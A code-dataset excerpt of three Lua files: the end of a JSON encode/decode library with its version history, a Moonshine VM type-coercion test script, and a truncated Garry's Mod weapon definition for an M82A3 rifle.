i) then VALUE = VALUE .. "\b" i = i + 2 elseif text:match('^\\f', i) then VALUE = VALUE .. "\f" i = i + 2 elseif text:match('^\\n', i) then VALUE = VALUE .. "\n" i = i + 2 elseif text:match('^\\r', i) then VALUE = VALUE .. "\r" i = i + 2 elseif text:match('^\\t', i) then VALUE = VALUE .. "\t" i = i + 2 else local hex = text:match('^\\u([0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if hex then i = i + 6 -- bypass what we just read -- We have a Unicode codepoint. It could be standalone, or if in the proper range and -- followed by another in a specific range, it'll be a two-code surrogate pair. local codepoint = tonumber(hex, 16) if codepoint >= 0xD800 and codepoint <= 0xDBFF then -- it's a hi surrogate... see whether we have a following low local lo_surrogate = text:match('^\\u([dD][cdefCDEF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if lo_surrogate then i = i + 6 -- bypass the low surrogate we just read codepoint = 0x2400 + (codepoint - 0xD800) * 0x400 + tonumber(lo_surrogate, 16) else -- not a proper low, so we'll just leave the first codepoint as is and spit it out. end end VALUE = VALUE .. unicode_codepoint_as_utf8(codepoint) else -- just pass through what's escaped VALUE = VALUE .. text:match('^\\(.)', i) i = i + 2 end end end self:onDecodeError("unclosed string", text, start, etc) end local function skip_whitespace(text, start) local _, match_end = text:find("^[ \n\r\t]+", start) -- [http://www.ietf.org/rfc/rfc4627.txt] Section 2 if match_end then return match_end + 1 else return start end end local grok_one -- assigned later local function grok_object(self, text, start, etc) if text:sub(start,start) ~= '{' then self:onDecodeError("expected '{'", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '{' local VALUE = self.strictTypes and self:newObject { } or { } if text:sub(i,i) == '}' then return VALUE, i + 1 end local text_len = text:len() while i <= text_len do local key, new_i = grok_string(self, text, i, etc) i = skip_whitespace(text, new_i) if text:sub(i, i) ~= ':' then self:onDecodeError("expected colon", text, i, etc) end i = skip_whitespace(text, i + 1) local new_val, new_i = grok_one(self, text, i) VALUE[key] = new_val -- -- Expect now either '}' to end things, or a ',' to allow us to continue. -- i = skip_whitespace(text, new_i) local c = text:sub(i,i) if c == '}' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '}'", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '{'", text, start, etc) end local function grok_array(self, text, start, etc) if text:sub(start,start) ~= '[' then self:onDecodeError("expected '['", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '[' local VALUE = self.strictTypes and self:newArray { } or { } if text:sub(i,i) == ']' then return VALUE, i + 1 end local VALUE_INDEX = 1 local text_len = text:len() while i <= text_len do local val, new_i = grok_one(self, text, i) -- can't table.insert(VALUE, val) here because it's a no-op if val is nil VALUE[VALUE_INDEX] = val VALUE_INDEX = VALUE_INDEX + 1 i = skip_whitespace(text, new_i) -- -- Expect now either ']' to end things, or a ',' to allow us to continue. -- local c = text:sub(i,i) if c == ']' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '['", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '['", text, start, etc) end grok_one = function(self, text, start, etc) -- Skip any whitespace start = skip_whitespace(text, start) if start > text:len() then self:onDecodeError("unexpected end of string", text, nil, etc) end if text:find('^"', start) then return grok_string(self, text, start, etc) elseif text:find('^[-0123456789 ]', start) then return grok_number(self, text, start, etc) elseif text:find('^%{', start) then return grok_object(self, text, start, etc) elseif text:find('^%[', start) then return grok_array(self, text, start, etc) elseif text:find('^true', start) then return true, start + 4 elseif text:find('^false', start) then return false, start + 5 elseif text:find('^null', start) then return nil, start + 4 else self:onDecodeError("can't parse JSON", text, start, etc) end end function OBJDEF:decode(text, etc) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onDecodeError("JSON:decode must be called in method format", nil, nil, etc) end if text == nil then self:onDecodeOfNilError(string.format("nil passed to JSON:decode()"), nil, nil, etc) elseif type(text) ~= 'string' then self:onDecodeError(string.format("expected string argument to JSON:decode(), got %s", type(text)), nil, nil, etc) end if text:match('^%s*$') then return nil end if text:match('^%s*<') then -- Can't be JSON... we'll assume it's HTML self:onDecodeOfHTMLError(string.format("html passed to JSON:decode()"), text, nil, etc) end -- -- Ensure that it's not UTF-32 or UTF-16. -- Those are perfectly valid encodings for JSON (as per RFC 4627 section 3), -- but this package can't handle them. -- if text:sub(1,1):byte() == 0 or (text:len() >= 2 and text:sub(2,2):byte() == 0) then self:onDecodeError("JSON package groks only UTF-8, sorry", text, nil, etc) end local success, value = pcall(grok_one, self, text, 1, etc) if success then return value else -- if JSON:onDecodeError() didn't abort out of the pcall, we'll have received the error message here as "value", so pass it along as an assert. if self.assert then self.assert(false, value) else assert(false, value) end -- and if we're still here, return a nil and throw the error message on as a second arg return nil, value end end local function backslash_replacement_function(c) if c == "\n" then return "\\n" elseif c == "\r" then return "\\r" elseif c == "\t" then return "\\t" elseif c == "\b" then return "\\b" elseif c == "\f" then return "\\f" elseif c == '"' then return '\\"' elseif c == '\\' then return '\\\\' else return string.format("\\u%04x", c:byte()) end end local chars_to_be_escaped_in_JSON_string = '[' .. '"' -- class sub-pattern to match a double quote .. '%\\' -- class sub-pattern to match a backslash .. '%z' -- class sub-pattern to match a null .. '\001' .. '-' .. '\031' -- class sub-pattern to match control characters .. ']' local function json_string_literal(value) local newval = value:gsub(chars_to_be_escaped_in_JSON_string, backslash_replacement_function) return '"' .. newval .. '"' end local function object_or_array(self, T, etc) -- -- We need to inspect all the keys... if there are any strings, we'll convert to a JSON -- object. If there are only numbers, it's a JSON array. -- -- If we'll be converting to a JSON object, we'll want to sort the keys so that the -- end result is deterministic. -- local string_keys = { } local number_keys = { } local number_keys_must_be_strings = false local maximum_number_key for key in pairs(T) do if type(key) == 'string' then table.insert(string_keys, key) elseif type(key) == 'number' then table.insert(number_keys, key) if key <= 0 or key >= math.huge then number_keys_must_be_strings = true elseif not maximum_number_key or key > maximum_number_key then maximum_number_key = key end else self:onEncodeError("can't encode table with a key of type " .. type(key), etc) end end if #string_keys == 0 and not number_keys_must_be_strings then -- -- An empty table, or a numeric-only array -- if #number_keys > 0 then return nil, maximum_number_key -- an array elseif tostring(T) == "JSON array" then return nil elseif tostring(T) == "JSON object" then return { } else -- have to guess, so we'll pick array, since empty arrays are likely more common than empty objects return nil end end table.sort(string_keys) local map if #number_keys > 0 then -- -- If we're here then we have either mixed string/number keys, or numbers inappropriate for a JSON array -- It's not ideal, but we'll turn the numbers into strings so that we can at least create a JSON object. -- if self.noKeyConversion then self:onEncodeError("a table with both numeric and string keys could be an object or array; aborting", etc) end -- -- Have to make a shallow copy of the source table so we can remap the numeric keys to be strings -- map = { } for key, val in pairs(T) do map[key] = val end table.sort(number_keys) -- -- Throw numeric keys in there as strings -- for _, number_key in ipairs(number_keys) do local string_key = tostring(number_key) if map[string_key] == nil then table.insert(string_keys , string_key) map[string_key] = T[number_key] else self:onEncodeError("conflict converting table with mixed-type keys into a JSON object: key " .. number_key .. " exists both as a string and a number.", etc) end end end return string_keys, nil, map end -- -- Encode -- -- 'options' is nil, or a table with possible keys: -- pretty -- if true, return a pretty-printed version -- indent -- a string (usually of spaces) used to indent each nested level -- align_keys -- if true, align all the keys when formatting a table -- local encode_value -- must predeclare because it calls itself function encode_value(self, value, parents, etc, options, indent) if value == nil then return 'null' elseif type(value) == 'string' then return json_string_literal(value) elseif type(value) == 'number' then if value ~= value then -- -- NaN (Not a Number). -- JSON has no NaN, so we have to fudge the best we can. This should really be a package option. -- return "null" elseif value >= math.huge then -- -- Positive infinity. JSON has no INF, so we have to fudge the best we can. This should -- really be a package option. Note: at least with some implementations, positive infinity -- is both ">= math.huge" and "<= -math.huge", which makes no sense but that's how it is. -- Negative infinity is properly "<= -math.huge". So, we must be sure to check the ">=" -- case first. -- return "1e+9999" elseif value <= -math.huge then -- -- Negative infinity. -- JSON has no INF, so we have to fudge the best we can. This should really be a package option. -- return "-1e+9999" else return tostring(value) end elseif type(value) == 'boolean' then return tostring(value) elseif type(value) ~= 'table' then self:onEncodeError("can't convert " .. type(value) .. " to JSON", etc) else -- -- A table to be converted to either a JSON object or array. -- local T = value if type(options) ~= 'table' then options = {} end if type(indent) ~= 'string' then indent = "" end if parents[T] then self:onEncodeError("table " .. tostring(T) .. " is a child of itself", etc) else parents[T] = true end local result_value local object_keys, maximum_number_key, map = object_or_array(self, T, etc) if maximum_number_key then -- -- An array... -- local ITEMS = { } for i = 1, maximum_number_key do table.insert(ITEMS, encode_value(self, T[i], parents, etc, options, indent)) end if options.pretty then result_value = "[ " .. table.concat(ITEMS, ", ") .. " ]" else result_value = "[" .. table.concat(ITEMS, ",") .. "]" end elseif object_keys then -- -- An object -- local TT = map or T if options.pretty then local KEYS = { } local max_key_length = 0 for _, key in ipairs(object_keys) do local encoded = encode_value(self, tostring(key), parents, etc, options, indent) if options.align_keys then max_key_length = math.max(max_key_length, #encoded) end table.insert(KEYS, encoded) end local key_indent = indent .. tostring(options.indent or "") local subtable_indent = key_indent .. string.rep(" ", max_key_length) .. (options.align_keys and " " or "") local FORMAT = "%s%" .. string.format("%d", max_key_length) .. "s: %s" local COMBINED_PARTS = { } for i, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, subtable_indent) table.insert(COMBINED_PARTS, string.format(FORMAT, key_indent, KEYS[i], encoded_val)) end result_value = "{\n" .. table.concat(COMBINED_PARTS, ",\n") .. "\n" .. indent .. "}" else local PARTS = { } for _, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, indent) local encoded_key = encode_value(self, tostring(key), parents, etc, options, indent) table.insert(PARTS, string.format("%s:%s", encoded_key, encoded_val)) end result_value = "{" .. table.concat(PARTS, ",") .. "}" end else -- -- An empty array/object... we'll treat it as an array, though it should really be an option -- result_value = "[]" end parents[T] = false return result_value end end function OBJDEF:encode(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode must be called in method format", etc) end return encode_value(self, value, {}, etc, options or nil) end function OBJDEF:encode_pretty(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode_pretty must be called in method format", etc) end return encode_value(self, value, {}, etc, options or default_pretty_options) end function OBJDEF.__tostring() return "JSON encode/decode package" end OBJDEF.__index = OBJDEF function OBJDEF:new(args) local new = { } if args then for key, val in pairs(args) do new[key] = val end end return setmetatable(new, OBJDEF) end return OBJDEF:new() -- -- Version history: -- -- 20141223.14 The encode_pretty() routine produced fine results for small datasets, but isn't really -- appropriate for anything large, so with help from Alex Aulbach I've made the encode routines -- more flexible, and changed the default encode_pretty() to be more generally useful. -- -- Added a third 'options' argument to the encode() and encode_pretty() routines, to control -- how the encoding takes place. -- -- Updated docs to add assert() call to the loadfile() line, just as good practice so that -- if there is a problem loading JSON.lua, the appropriate error message will percolate up. -- -- 20140920.13 Put back (in a way that doesn't cause warnings about unused variables) the author string, -- so that the source of the package, and its version number, are visible in compiled copies. -- -- 20140911.12 Minor lua cleanup. -- Fixed internal reference to 'JSON.noKeyConversion' to reference 'self' instead of 'JSON'. -- (Thanks to SmugMug's David Parry for these.) -- -- 20140418.11 JSON nulls embedded within an array were being ignored, such that -- ["1",null,null,null,null,null,"seven"], -- would return -- {1,"seven"} -- It's now fixed to properly return -- {1, nil, nil, nil, nil, nil, "seven"} -- Thanks to "haddock" for catching the error. -- -- 20140116.10 The user's JSON.assert() wasn't always being used. Thanks to "blue" for the heads up. -- -- 20131118.9 Update for Lua 5.3... it seems that tostring(2/1) produces "2.0" instead of "2", -- and this caused some problems. -- -- 20131031.8 Unified the code for encode() and encode_pretty(); they had been stupidly separate, -- and had of course diverged (encode_pretty didn't get the fixes that encode got, so -- sometimes produced incorrect results; thanks to Mattie for the heads up). -- -- Handle encoding tables with non-positive numeric keys (unlikely, but possible). -- -- If a table has both numeric and string keys, or its numeric keys are inappropriate -- (such as being non-positive or infinite), the numeric keys are turned into -- string keys appropriate for a JSON object. So, as before, -- JSON:encode({ "one", "two", "three" }) -- produces the array -- ["one","two","three"] -- but now something with mixed key types like -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- instead of throwing an error produces an object: -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To maintain the prior throw-an-error semantics, set -- JSON.noKeyConversion = true -- -- 20131004.7 Release under a Creative Commons CC-BY license, which I should have done from day one, sorry. -- -- 20130120.6 Comment update: added a link to the specific page on my blog where this code can -- be found, so that folks who come across the code outside of my blog can find updates -- more easily. -- -- 20111207.5 Added support for the 'etc' arguments, for better error reporting. -- -- 20110731.4 More feedback from David Kolf on how to make the tests for Nan/Infinity system independent. -- -- 20110730.3 Incorporated feedback from David Kolf at http://lua-users.org/wiki/JsonModules: -- -- * When encoding lua for JSON, Sparse numeric arrays are now handled by -- spitting out full arrays, such that -- JSON:encode({"one", "two", [10] = "ten"}) -- returns -- ["one","two",null,null,null,null,null,null,null,"ten"] -- -- In 20100810.2 and earlier, only up to the first non-null value would have been retained. -- -- * When encoding lua for JSON, numeric value NaN gets spit out as null, and infinity as "1+e9999". -- Version 20100810.2 and earlier created invalid JSON in both cases. -- -- * Unicode surrogate pairs are now detected when decoding JSON. -- -- 20100810.2 added some checking to ensure that an invalid Unicode character couldn't leak in to the UTF-8 encoding -- -- 20100731.1 initial public release --
gpl-2.0
dwdm/moonshine
test/scripts/coercion.lua
4
8580
-------------------------------------------------------------------------- -- Moonshine - a Lua virtual machine. -- -- Email: moonshine@gamesys.co.uk -- http://moonshinejs.org -- -- Copyright (c) 2013-2015 Gamesys Limited. All rights reserved. -- -- Permission is hereby granted, free of charge, to any person obtaining -- a copy of this software and associated documentation files (the -- "Software"), to deal in the Software without restriction, including -- without limitation the rights to use, copy, modify, merge, publish, -- distribute, sublicense, and/or sell copies of the Software, and to -- permit persons to whom the Software is furnished to do so, subject to -- the following conditions: -- -- The above copyright notice and this permission notice shall be -- included in all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -- IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -- CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -- TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -- SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -- -- Coercion assertTrue (0, 'Zero should coerce to true.') assertTrue (1, 'Positive number should coerce to true.') assertTrue (-1, 'Negative number should coerce to true.') assertTrue ('Test', 'String should coerce to true.') assertTrue ('', 'Empty string should coerce to true.') assertTrue (0 + '123' == 123, 'Integer strings should coerce to integers') assertTrue (0 + '123.45' == 123.45, 'Floating point strings should coerce to floats') assertTrue (0 + '0xa' == 10, 'Hexidecimal syntax strings should coerce to decimal integers') assertTrue (0 + '0xa.2' == 10.125, 'Floating point hexidecimal syntax strings should coerce to decimal floats') assertTrue (0 + '0123' == 123, 'JS Octal syntax strings should be coerced as normal decimal strings in Lua') assertTrue (0 + '-123' == -123, 'Negative integer strings should coerce to negative integers') assertTrue (0 + '-0xa.2' == -10.125, 'Negative floating point hexidecimal syntax strings should coerce to negative decimal floats') assertTrue (0 + 'inf' == math.huge, '"inf" should coerce to inf') assertTrue (0 + '-inf' == -math.huge, '"-inf" should coerce to negative inf') local a = 0 + 'nan' assertTrue (a ~= a, '"nan" should coerce to nan') assertTrue (not (nil), 'Nil should coerce to false.') assertTrue (not (false), 'False should be false.') assertTrue (not (10 == '10'), 'String should coerce to number.') -- TYPE ERRORS function conc (a, b) return a..b end a = pcall (conc, 'a', 'b') b = pcall (conc, 'a', 44) c = pcall (conc, 55, 'b') d = pcall (conc, 55, 44) e = pcall (conc, 'a', {}) f = pcall (conc, {}, 'b') g = pcall (conc, 'a', os.date) assertTrue (a, 'Concatenation should not error with two strings') assertTrue (b, 'Concatenation should not error with a string and a number') assertTrue (c, 'Concatenation should not error with a number and a string') assertTrue (d, 'Concatenation should not error with two numbers') assertTrue (not (e), 'Concatenation should error with a string and a table') assertTrue (not (f), 'Concatenation should error with a table and a string') assertTrue (not (g), 'Concatenation should error with a string and a function') function add (a, b) return a + b end a = pcall (add, 'a', 'b') b = pcall (add, 'a', 44) c = pcall (add, 55, 'b') d = pcall (add, 55, 44) e = pcall (add, 'a', {}) f = pcall (add, {}, 'b') g = pcall (add, 'a', os.date) assertTrue (not (a), 'Addition operator should error with two strings') assertTrue (not (b), 'Addition operator should error with a string and a number') assertTrue (not (c), 'Addition operator should error with a number and a string') assertTrue (d, 'Addition operator should not error with two numbers') assertTrue (not (e), 'Addition operator should error with a string and a table') assertTrue (not (f), 'Addition operator should error with a table and a string') assertTrue (not (g), 'Addition operator should error with a string and a function') function sub (a, b) return a - b end a = pcall (sub, 'a', 'b') b = pcall (sub, 'a', 44) c = pcall (sub, 55, 'b') d = pcall (sub, 55, 44) e = pcall (sub, 'a', {}) f = pcall (sub, {}, 'b') g = pcall (sub, 'a', os.date) assertTrue (not (a), 'Subtraction operator should error with two strings') assertTrue (not (b), 'Subtraction operator should error with a string and a number') assertTrue (not (c), 'Subtraction operator should error with a number and a string') assertTrue (d, 'Subtraction operator should not error with two numbers') assertTrue (not (e), 'Subtraction operator should error with a string and a table') assertTrue (not (f), 'Subtraction operator should error with a table and a string') assertTrue (not (g), 'Subtraction operator should error with a string and a function') function mult (a, b) return a * b end a = pcall (mult, 'a', 'b') b = pcall (mult, 'a', 44) c = pcall (mult, 55, 'b') d = pcall (mult, 55, 44) e = pcall (mult, 'a', {}) f = pcall (mult, {}, 'b') g = pcall (mult, 'a', os.date) assertTrue (not (a), 'Multiplication operator should error with two strings') assertTrue (not (b), 'Multiplication operator should error with a string and a number') assertTrue (not (c), 'Multiplication operator should error with a number and a string') assertTrue (d, 'Multiplication operator should not error with two numbers') assertTrue (not (e), 'Multiplication operator should error with a string and a table') assertTrue (not (f), 'Multiplication operator should error with a table and a string') assertTrue (not (g), 'Multiplication operator should error with a string and a function') function divide (a, b) return a / b end a = pcall (divide, 'a', 'b') b = pcall (divide, 'a', 44) c = pcall (divide, 55, 'b') d = pcall (divide, 55, 44) e = pcall (divide, 'a', {}) f = pcall (divide, {}, 'b') g = pcall (divide, 'a', os.date) assertTrue (not (a), 'Division operator should error with two strings') assertTrue (not (b), 'Division operator should error with a string and a number') assertTrue (not (c), 'Division operator should error with a number and a string') assertTrue (d, 'Division operator should not error with two numbers') assertTrue (not (e), 'Division operator should error with a string and a table') assertTrue (not (f), 'Division operator should error with a table and a string') assertTrue (not (g), 'Division operator should error with a string and a function') function modu (a, b) return a % b end a = pcall (modu, 'a', 'b') b = pcall (modu, 'a', 44) c = pcall (modu, 55, 'b') d = pcall (modu, 55, 44) e = pcall (modu, 'a', {}) f = pcall (modu, {}, 'b') g = pcall (modu, 'a', os.date) assertTrue (not (a), 'Modulo operator should error with two strings') assertTrue (not (b), 'Modulo operator should error with a string and a number') assertTrue (not (c), 'Modulo operator should error with a number and a string') assertTrue (d, 'Modulo operator should not error with two numbers') assertTrue (not (e), 'Modulo operator should error with a string and a table') assertTrue (not (f), 'Modulo operator should error with a table and a string') assertTrue (not (g), 'Modulo operator should error with a string and a function') function power (a, b) return a ^ b end a = pcall (power, 'a', 'b') b = pcall (power, 'a', 44) c = pcall (power, 55, 'b') d = pcall (power, 55, 44) e = pcall (power, 'a', {}) f = pcall (power, {}, 'b') g = pcall (power, 'a', os.date) assertTrue (not (a), 'Exponentiation operator should error with two strings') assertTrue (not (b), 'Exponentiation operator should error with a string and a number') assertTrue (not (c), 'Exponentiation operator should error with a number and a string') assertTrue (d, 'Exponentiation operator should not error with two numbers') assertTrue (not (e), 'Exponentiation operator should error with a string and a table') assertTrue (not (f), 'Exponentiation operator should error with a table and a string') assertTrue (not (g), 'Exponentiation operator should error with a string and a function') function neg (a) return -a end a = pcall (neg, 'a') b = pcall (neg, 55) c = pcall (neg, {}) assertTrue (not (a), 'Negation operator should error when passed a string') assertTrue (b, 'Negation operator should not error when passed a number') assertTrue (not (c), 'Negation operator should error when passed a table')
mit
chelog/brawl
addons/brawl-weapons/lua/weapons/khr_m82a3/shared.lua
1
9267
AddCSLuaFile() AddCSLuaFile("sh_sounds.lua") include("sh_sounds.lua") SWEP.magType = "srMag" CustomizableWeaponry:registerAmmo(".50 BMG", ".50 BMG Rounds", 12.7, 99) CustomizableWeaponry:registerAmmo(".416 Barrett", ".416 Barrett Rounds", 10.6, 83) if CLIENT then SWEP.DrawCrosshair = false SWEP.PrintName = "M82A3" SWEP.CSMuzzleFlashes = true SWEP.IconLetter = "w" killicon.Add( "khr_m82a3", "icons/killicons/khr_m82a3", Color(255, 80, 0, 150)) SWEP.SelectIcon = surface.GetTextureID("icons/killicons/khr_m82a3") SWEP.MuzzleEffect = "muzzle_center_M82" SWEP.PosBasedMuz = true SWEP.NoDistance = true SWEP.CrosshairEnabled = false SWEP.ShellScale = 0.5 SWEP.ShellOffsetMul = 1 SWEP.ShellPosOffset = {x = 0, y = 0, z = 0} SWEP.SightWithRail = false SWEP.DisableSprintViewSimulation = false SWEP.SnapToIdlePostReload = true SWEP.BoltBone = "bolt" SWEP.BoltBonePositionRecoverySpeed = 35 SWEP.BoltShootOffset = Vector(-7.5, 0, 0) SWEP.IronsightPos = Vector(-2.158, -1, 0.779) SWEP.IronsightAng = Vector(-0.33, 0.09, 0) SWEP.SprintPos = Vector(4.119, -1.206, -3.12) SWEP.SprintAng = Vector(-12.664, 50.652, -13.367) SWEP.MicroT1Pos = Vector(-2.180, -2.5, 0.81) SWEP.MicroT1Ang = Vector(0, 0, 0) SWEP.EoTech553Pos = Vector(-2.180, -2.5, 0.51) SWEP.EoTech553Ang = Vector(0, 0, 0) SWEP.KR_CMOREPos = Vector(-2.180, -2.5, 0.645) SWEP.KR_CMOREAng = Vector(0, 0, 0) SWEP.ELCANPos = Vector(-2.1867, -2.5, 0.574) SWEP.ELCANAng = Vector(0, 0, 0) SWEP.FAS2AimpointPos = Vector(-2.175, -2.5, 0.74) SWEP.FAS2AimpointAng = Vector(0, 0, 0) SWEP.CSGOACOGPos = Vector(-2.181, -2.5, 0.536) SWEP.CSGOACOGAng = Vector(0, 0, 0) SWEP.NXSPos = Vector(-2.191, -1.5, 0.569) SWEP.NXSAng = Vector(0, 0, 0) SWEP.ShortDotPos = Vector(-2.180, -2, 0.67) SWEP.ShortDotAng = Vector(0, 0, 0) SWEP.CustomizePos = Vector(4.239, 0, -3.441) SWEP.CustomizeAng = Vector(18.215, 18.291, 11.96) SWEP.AlternativePos = Vector(0, 1, 0) SWEP.AlternativeAng = Vector(0, 0, 0) SWEP.CustomizationMenuScale = 0.028 SWEP.ViewModelMovementScale = 1.2 SWEP.AttachmentModelsVM = { ["md_uecw_csgo_acog"] = { type = "Model", model = "models/gmod4phun/csgo/eq_optic_acog.mdl", bone = "body", rel = "", pos = Vector(-2.3, -0.7, -0.024), angle = Angle(0, 0, -90), size = Vector(0.699, 0.699, 0.699), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["odec3d_cmore_kry"] = { type = "Model", model = "models/weapons/krycek/sights/odec3d_cmore_reddot.mdl", bone = "body", rel = "", pos = Vector(3.4, -3.941, 0.07), angle = Angle(0, 0, -90), size = Vector(0.2, 0.2, 0.2), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_nightforce_nxs"] = { type = "Model", model = "models/cw2/attachments/l96_scope.mdl", bone = "body", rel = "", pos = Vector(3.599, -4.801, 0.109), angle = Angle(0, 0, -90), size = Vector(0.899, 0.899, 0.899), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_fas2_aimpoint"] = { type = "Model", model = "models/c_fas2_aimpoint.mdl", bone = "body", rel = "", pos = Vector(5.199, -3.29, 0), angle = Angle(0, 0, -90), size = Vector(0.85, 0.85, 0.85), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_fas2_eotech"] = { type = "Model", model = "models/c_fas2_eotech.mdl", bone = "body", rel = "", pos = Vector(5.699, -3.461, 0), angle = Angle(0, 0, -90), size = Vector(0.85, 0.85, 0.85), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_schmidt_shortdot"] = { type = "Model", model = "models/cw2/attachments/schmidt.mdl", bone = "body", rel = "", pos = Vector(-0.92, 0.119, 0.27), angle = Angle(0, 0, -90), size = Vector(0.699, 0.699, 0.699), color = Color(255, 255, 255, 0), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_elcan"] = { type = "Model", model = "models/bunneh/elcan.mdl", bone = "body", rel = "", pos = Vector(-0.401, 0, 0.259), angle = Angle(-90, 0, -90), size = Vector(0.66, 0.66, 0.66), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_microt1kh"] = { type = "Model", model = "models/cw2/attachments/microt1.mdl", bone = "body", rel = "", pos = Vector(2.7, -3.951, 0.006), angle = Angle(90, -90, 0), size = Vector(0.28, 0.28, 0.28), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_sight_front"] = { type = "Model", model = "models/bunneh/frontsight.mdl", bone = "body", rel = "", pos = Vector(10.899, -4.75, 2.234), angle = Angle(0, 0, -90), size = Vector(1, 1, 1), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }, ["md_sight_rear"] = { type = "Model", model = "models/bunneh/rearsight.mdl", bone = "body", rel = "", pos = Vector(-5.651, -4.75, 2.249), angle = Angle(0, 0, -90), size = Vector(1, 1, 1), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} } } SWEP.ACOGAxisAlign = {right = 0.2, up = 0, forward = 0} SWEP.NXSAlign = {right = 0, up = 0, forward = 0} SWEP.SchmidtShortDotAxisAlign = {right = 0, up = 0, forward = 0} function SWEP:RenderTargetFunc() if self.AimPos != self.IronsightPos then -- if we have a sight/scope equiped, hide the front and rar sights self.AttachmentModelsVM.md_sight_front.active = false self.AttachmentModelsVM.md_sight_rear.active = false else self.AttachmentModelsVM.md_sight_front.active = true self.AttachmentModelsVM.md_sight_rear.active = true end end end SWEP.MuzzleVelocity = 850 -- in meter/s SWEP.LuaViewmodelRecoil = true SWEP.LuaViewmodelRecoilOverride = true SWEP.BipodFireAnim = true SWEP.BipodInstalled = true SWEP.CanRestOnObjects = false SWEP.Attachments = {[1] = {header = "Optic", offset = {600, -100}, atts = {"md_microt1kh","odec3d_cmore_kry","md_fas2_eotech","md_fas2_aimpoint", "md_schmidt_shortdot", "md_uecw_csgo_acog", "md_nightforce_nxs"}}, ["+reload"] = {header = "Ammo", offset = {-250, 350}, atts = {"am_416barrett"}}} SWEP.Animations = {fire = {"shoot"}, reload = "reload", idle = "idle1", draw = "draw"} SWEP.Sounds = { draw = {[1] = {time = 0, sound = "K82.DRAW"}}, reload = {[1] = {time = .25, sound = "K82.BOLTB"}, [2] = {time = 1.4, sound = "K82.CLIPOUT"}, [3] = {time = 2.55, sound = "K82.CLIPIN"}, [4] = {time = 3.4, sound = "K82.BOLTF"}}} SWEP.HoldBoltWhileEmpty = false SWEP.DontHoldWhenReloading = true SWEP.ADSFireAnim = false SWEP.LuaVMRecoilAxisMod = {vert = .5, hor = 3.5, roll = .25, forward = .8, pitch = .5} SWEP.SpeedDec = 50 SWEP.Slot = 4 SWEP.SlotPos = 0 SWEP.OverallMouseSens = .7 SWEP.NormalHoldType = "ar2" SWEP.RunHoldType = "passive" SWEP.FireModes = {"semi"} SWEP.Base = "cw_base" SWEP.Category = "CW 2.0 - Khris" SWEP.Author = "Khris" SWEP.Contact = "" SWEP.Purpose = "" SWEP.Instructions = "" SWEP.ViewModelFOV = 70 SWEP.AimViewModelFOV = 65 SWEP.ViewModelFlip = false SWEP.ViewModel = "models/khrcw2/v_cjs_bf4_m82a3.mdl" SWEP.WorldModel = "models/khrcw2/w_cjs_bf4_m82a3.mdl" SWEP.Spawnable = true SWEP.AdminSpawnable = true SWEP.Primary.ClipSize = 10 SWEP.Primary.DefaultClip = 10 SWEP.Primary.Automatic = false SWEP.Primary.Ammo = ".50 BMG" SWEP.FireDelay = 0.30 SWEP.FireSound = "K82.FIRE" SWEP.Recoil = 3.5 SWEP.HipSpread = 0.1 SWEP.AimSpread = 0.002 SWEP.VelocitySensitivity = 2 SWEP.MaxSpreadInc = 0.6 SWEP.SpreadPerShot = 0.08 SWEP.SpreadCooldown = 0.2 SWEP.Shots = 1 SWEP.Damage = 175 SWEP.DeployTime = 1 SWEP.ReloadSpeed = .9 SWEP.ReloadTime = 4.3 SWEP.ReloadTime_Empty = 4.3 SWEP.ReloadHalt = 4.3 SWEP.ReloadHalt_Empty = 4.3 SWEP.Offset = { Pos = { Up = 0, Right = 0, Forward = 0, }, Ang = { Up = 0, Right = -5, Forward = 180, } } function SWEP:DrawWorldModel( ) local hand, offset, rotate local pl = self:GetOwner() if IsValid( pl ) then local boneIndex = pl:LookupBone( "ValveBiped.Bip01_R_Hand" ) if boneIndex then local pos, ang = pl:GetBonePosition( boneIndex ) pos = pos + ang:Forward() * self.Offset.Pos.Forward + ang:Right() 